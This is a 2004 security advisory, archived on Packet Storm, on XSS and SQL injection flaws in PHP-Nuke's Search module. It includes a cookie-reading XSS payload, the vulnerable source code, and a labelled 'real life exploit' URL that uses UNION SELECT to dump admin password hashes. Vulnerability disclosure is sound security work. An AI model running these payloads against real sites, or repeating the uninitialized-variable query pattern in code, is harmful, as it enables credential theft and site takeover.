what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA035.txt

waraxe-2004-SA035.txt
Posted Jul 16, 2004
Authored by Janek Vind aka waraxe | Site waraxe.us

PHP Nuke versions 6.x through 7.3 suffer from cross site scripting and SQL injection flaws.

tags | exploit, php, xss, sql injection
SHA-256 | 70f19d1381815ef51a0a74bdb7a4451ff7d7ed90c0e356680bec2079856ee621

waraxe-2004-SA035.txt

Change Mirror Download




{================================================================================}
{ [waraxe-2004-SA#035] }
{================================================================================}
{ }
{ [ Multiple security holes in PhpNuke - part 2] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 17. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=35


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will look @ security holes - 1 XSS and 1 sql inject case -
in "Search" module.


A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - xss in "/modules/Search/index.php":

Open search page in phpnuke:

http://localhost/nuke73/modules.php?name=Search

and enter to input field something like this:

1"><body onload="alert(document.cookie);

In case of other browsers than IE xss exploiting method can be modified, but one thing
is sure - xss case exists here...


B - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - critical sql injection case in "/modules/Search/index.php":

Well, let's look at source code from that script:

----------------[ original source ]-----------------
} elseif ($type == "comments" AND isset($sid)) {
$res = $db->sql_query("select title from ".$prefix."_stories where sid='$sid'");
list($st_title) = $db->sql_fetchrow($res);
$instory = "AND sid='$sid'";
echo "<center><font class=\"title\"><b>"._SEARCHINSTORY." $st_title</b></font></center><br>";
} else {
echo "<center><font class=\"title\"><b>"._SEARCHIN." $topictext</b></font></center><br>";
}
----------------[/original source ]-----------------

So - if search type is "comments" and there is no "sid" specified, then sql query
fragment "instory" is not initialized. Now, let's look further:


----------------[ original source ]-----------------
} elseif ($type=="comments") {
...
...
$result8 = $db->sql_query("SELECT tid, sid, subject, date, name from
".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%')
$instory order by date DESC limit $min,$offset");
...
...
----------------[/original source ]-----------------

What is here, is a typical case of uninitialized variable - "instory".
It's time to turn this little bug to something evil:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=comments&
query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

----------------[/real life exploit ]---------------

... and we see all the secret information about admins :)

Have a nice day!


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Fixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close